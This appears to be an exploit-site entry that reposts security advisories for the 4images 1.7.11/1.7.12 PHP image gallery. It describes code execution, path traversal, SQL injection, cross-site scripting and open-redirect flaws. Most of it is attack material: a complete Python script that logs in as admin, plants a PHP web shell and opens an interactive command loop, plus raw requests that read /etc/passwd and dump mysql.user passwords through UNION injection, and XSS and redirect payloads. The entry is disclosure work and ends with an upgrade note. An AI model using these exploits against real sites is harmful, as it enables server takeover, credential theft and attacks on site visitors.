Author

Tim Coen

Risk

[

Security Risk Critical

]

0day-ID

0day-ID-24699

Category

web applications

Date add

10-12-2015

Platform

php

4images 1.7.11 Code Execution, Path Traversal, SQL Injection, Cross Site Scripting Vulnerabilities


Description

4images comes with a HTML Template editor which allows the editing of HTML
files. But it will also create a new file if the passed file name does not
already exist. When doing this, it does not check that the extension of the
passed file is .html.

Admin credentials are required to use the HTML template editor.

 Proof of Concept


        POST /4images/admin/templates.php HTTP/1.1

        __csrf=28a9a05b480c3f8ed326523b1ce7532c&action=savetemplate&content=<?php passthru($_GET['x']);&template_file_name=categories.php&template_folder=default

 Code


        /admin/templates.php

        if (isset($HTTP_GET_VARS['template_file_name']) || isset($HTTP_POST_VARS['template_file_name'])) {
          $template_file_name = (isset($HTTP_GET_VARS['template_file_name'])) ? trim($HTTP_GET_VARS['template_file_name']) : trim($HTTP_POST_VARS['template_file_name']);
          $template_file_name = (strpos($template_file_name, 'media/') !== false ? 'media/' : '') . basename($template_file_name);
        }
        else {
          $template_file_name = "";
        }

        if ($action == "savetemplate") {
          if (isset($HTTP_POST_VARS['content'])) {
            $content = trim($HTTP_POST_VARS['content']);
          }
          else {
            $content = "";
          }

                if ($template_file_name != "" && $content != "") {
            $content = un_htmlspecialchars($content);
            $content = stripslashes($content);
            $fp = @fopen(ROOT_PATH.TEMPLATE_DIR."/".$template_folder."/".$template_file_name, "w+");
            if (@fwrite($fp, $content)) {
              $msg = $lang['template_edit_success'];
            }
            else {
              $msg = sprintf("<span class=\"marktext\">%s</span>", $lang['template_edit_error']);
            }
          }
          $action = "modifytemplates";
        }


------------------------------------

#!/usr/local/bin/python
# Exploit for 4images 1.7.11 Code Execution vulnerability
# An admin account is required to use this exploit
# Curesec GmbH

import sys
import re
import argparse
import requests # requires requests lib

parser = argparse.ArgumentParser()
parser.add_argument("url", help="base url to vulnerable site")
parser.add_argument("username", help="admin username")
parser.add_argument("password", help="admin password")
args = parser.parse_args()

url = args.url
username = args.username
password = args.password

loginPath = "/admin/index.php"
fileManagerPath = "/admin/templates.php"

shellFileName = "404.php"
shellContent = "<?php passthru($_GET['x']); ?>"

def login(requestSession, url, username, password):
    csrfRequest = requestSession.get(url)
    csrfTokenRegEx = re.search('name="__csrf" value="(.*)" />', csrfRequest.text)
    csrfToken = csrfTokenRegEx.group(1)

    postData = {"action": "login", "redirect": ".%2F..%2Fadmin%2Findex.php", "__csrf": csrfToken, "loginusername": username, "loginpassword": password}
    loginResult = requestSession.post(url, data = postData).text
    return "loginpassword" not in loginResult

def upload(requestSession, url, fileName, fileContent):
    csrfRequest = requestSession.get(url)
    csrfTokenRegEx = re.search('name="__csrf" value="(.*)" />', csrfRequest.text)
    csrfToken = csrfTokenRegEx.group(1)

    postData = {"action": "savetemplate", "content": fileContent, "template_file_name": fileName, "__csrf": csrfToken, "template_folder": "default"}
    loginResult = requestSession.post(url, data = postData).text

def runShell(url):
    print("enter command, or enter exit to quit.")
    command = raw_input("$ ")
    while "exit" not in command:
        print(requests.get(url + command).text)
        command = raw_input("$ ")

requestSession = requests.session()

if login(requestSession, url + loginPath, username, password):
    print("successful: login")
else:
    exit("ERROR: Incorrect username or password")

upload(requestSession, url + fileManagerPath, shellFileName, shellContent)

runShell(url + "/templates/default/" + shellFileName + "?x=")


Blog Reference:
https://blog.curesec.com/article/blog/4images-1711-Code-Execution-Exploit-117.html

-------------------------------------------

4images 1.7.11 Path Traversal


Description

When downloading or displaying a backup file, the file Parameter is vulnerable
to directory traversal. This is the case because the get_basefile function
contains a bug. When the passed path name ends with a slash, it will return the
entire path instead of the file name.

By adding ?/ to the file name, an attacker can thus download or display
arbitrary files.

Admin credentials are required to view or download backup files.

 Proof of Concept


GET /4images/admin/backup.php?action=downloadbackup&file=../../../../../../etc/passwd?/ HTTP/1.1
GET /4images/admin/backup.php?action=showbackup&file=../../../../../../etc/passwd?/ HTTP/1.1

 Code


        /admin/bachup.php
        if (isset($HTTP_GET_VARS['file']) || isset($HTTP_POST_VARS['file'])) {
          $file = (isset($HTTP_GET_VARS['file'])) ? get_basefile(trim($HTTP_GET_VARS['file'])) : get_basefile(trim($HTTP_POST_VARS['file']));
        }
        else {
          $file = "";
        }

        if ($action == "downloadbackup") {
          $size = @filesize(ROOT_PATH.DATABASE_DIR."/".$file);
          header("Content-type: application/x-unknown");
          header("Content-length: $size\n");
          header("Content-Disposition: attachment; filename=$file\n");
          readfile(ROOT_PATH.DATABASE_DIR."/".$file);
          exit;
        }

        /includes/functions.php
        function get_basename($path) {
          $path = str_replace("\\", "/", $path);
          $name = substr(strrchr($path, "/"), 1);
          return $name ? $name : $path;
        }

        function get_basefile($path) {
          $basename = get_basename($path);
          preg_match("#(.+)\?(.+)#", $basename, $regs);
          return isset($regs[1]) ? $regs[1] : $basename;
        }

-------------------------------------

4images 1.7.11 SQL Injection

Description

When backing up the database, the user can supply the tables that should be
backed up. The program does not check if these tables actually belong to the
4images database or to a different database. Because of this, it is possible to
back up, and thus read, any database the database user has access to.

However, even if there were a check for the database, it would still be
possible to perform arbitrary SELECT statements by injecting into a SELECT
query that looks like this: "SELECT * FROM $table" where $table is user
supplied.

Admin credentials are required to back up the database.

 Proof of Concept


POST /4images/admin/backup.php HTTP/1.1
__csrf=43c557c252fe6f57db4720b23771c7ab&action=makebackup&db_tables%5B%5D=mysql.user

POST /4images/admin/backup.php HTTP/1.1
__csrf=43c557c252fe6f57db4720b23771c7ab&action=makebackup&db_tables%5B%5D=4images_comments where comment_id=-1 union all select user,password,3,4,5,6,7,8 from mysql.user

----------------------------------------

4images 1.7.12 Cross Site Scripting

2. Overview

There are two reflected XSS vulnerabilities in 4images, as well as a persistent
Open Redirect, which may also lead to XSS in older browsers.

This allows an attacker to execute arbitrary JavaScript in the context of the
browser of a victim if the victim clicks on an attacker supplied link or visits
an attacker controlled website. With this, it is possible to bypass CSRF
protection and thus do anything the victim can do, inject a JavaScript
keylogger, or perform phishing attacks.

It should be noted that the XSS vulnerability still existed in another form in
the first release of version 1.17.13 and has been fixed with an update to that
version.

3. Reflected XSS 1

CVSS

Medium 4.3 AV:N/AC:M/Au:N/C:N/I:P/A:N

Description

When displaying the form to add new images, $_SERVER['PHP_SELF'] is echoed
unencoded inside a select tag. Because of this, additional attributes can be
added and new HTML tags can be created, leading to XSS.

Proof of Concept

Prior to Version 1.7.12:


http://localhost/4images/admin/images.php/" onfocus=alert(1) autofocus foo="?action=addimages

Version 1.7.13 (before update):


http://localhost/4images/admin/images.php/');alert(1);window.location=('?action=addimages

This required a click of the victim to trigger, and a redirect will be
performed after the execution of the injected code.

Code


        /admin/images.php
        show_num_select_row(" ", "num_newimages", $lang['num_addnewimages_desc']);

        /admin/admin_functions.php
        function show_num_select_row($title, $option, $desc = "") {
          global $site_sess, $PHP_SELF, $action, $$option;
          echo "<tr class=\"".get_row_bg()."\">\n<td><p>".$title."</p></td>\n";
          echo "<td align=\"right\"><p>".$desc;
          $url = $PHP_SELF;
          $url .= preg_match("/\?/", $url) ? "&" : "?";
          $url .= "action=".$action;
          $url = $site_sess->url($url);
          echo "<select name=\"num\" onchange=\"window.location=('".$url."&";
          echo $option."='+this.options[this.selectedIndex].value)\">\n";
          for ($i = 1; $i < 11; $i++) {
            echo "<option value=\"$i\"";
            if ($i == ${$option}) {
              echo " selected";
            }
            echo ">".$i."</option>\n";
          }
          echo "</select></p></td>\n</tr>\n";
        }

 Reflected XSS 2

CVSS

Medium 4.3 AV:N/AC:M/Au:N/C:N/I:P/A:N

Description

User input is echoed inside the src attribute of a frame, which makes it
possible to execute javascript.

Proof of Concept


http://localhost/4images/admin/index.php?goto=javascript:alert%281%29

Code


        /admin/index.php
        if ($action == "") {
          $action = "frames";
        }

        if ($action == "frames") {
          if ($goto != "" && strpos($goto, '://') === false) {
            $framesrc = $site_sess->url($goto);
          }
          else {
            $framesrc = $site_sess->url("home.php");
          }
        ?>
        <html dir="<?php echo $lang['direction']; ?>">
          <head>
            <title><?php echo $config['site_name']; ?> Control Panel</title>
            <meta http-equiv="Content-Type" content="text/html; charset=<?php echo $lang['charset']; ?>">
          </head>
          <frameset rows="70,*" framespacing="0" border="0" frameborder="0" frameborder="no" border="0">
            <frame src="<?php echo $site_sess->url("index.php?action=head"); ?>" name="head" scrolling="NO" NORESIZE frameborder="0" marginwidth="0" marginheight="0" border="no">
            <frameset cols="216,*"  framespacing="0" border="0" frameborder="0" frameborder="no" border="0">
              <frame src="<?php echo $site_sess->url("index.php?action=nav"); ?>" name="nav" scrolling="auto" NORESIZE frameborder="0" marginwidth="0" marginheight="0" border="no">
              <frame src="<?php echo $framesrc ?>" name="main" scrolling="auto" NORESIZE frameborder="0" marginwidth="20" marginheight="20" border="no">
            </frameset>
          </frameset>
        </html>

 Persistent Open Redirect

CVSS

Medium 4.3 AV:N/AC:M/Au:N/C:N/I:P/A:N

Description

When showing an uploaded image, the description and keyword are not properly
encoded. Tags are removed, but it is still possible to add further attributes
to the meta tag they are inserted into.

This makes it possible to inject a redirect. This redirect will be persistent,
meaning anyone visiting the site of the uploaded image will be redirected to an
attacker controlled website.

The attacker needs the rights to upload images to perform the attack, which
means that a category needs to exist where anyone can upload images, or a
category needs to exist where registered users can upload images and the
registration must be open - which it is by default.

Proof of Concept

Upload an image, as description or keyword use:

Version 1.7.11 and earlier:
    5;URL=http://google.com/" http-equiv="refresh" foo="
Version 1.7.12:
    5;URL=http://google.com/" http-equiv=refresh foo="

When visiting the page of the uploaded image, a redirect will be performed.

With older browsers, it will be possible to inject and execute javascript as
well.

Code


        details.php
            $meta_keywords  = !empty($image_row['image_keywords']) ? strip_tags(implode(", ", explode(",", $image_row['image_keywords']))) : "";
            $meta_description = !empty($image_row['image_description']) ? strip_tags($image_row['image_description']) . ". " : "";

            $site_template->register_vars(array(
                    "detail_meta_description"   => $meta_description,
                    "detail_meta_keywords"      => $meta_keywords,
                    "prepend_head_title"        => $image_name . " - ",
                    ));

 Solution

To mitigate this issue please upgrade at least to version 1.7.13:

http://www.4homepages.de/download-4images

Please note that a newer version might already be available.

#  0day.today [2024-06-27]  #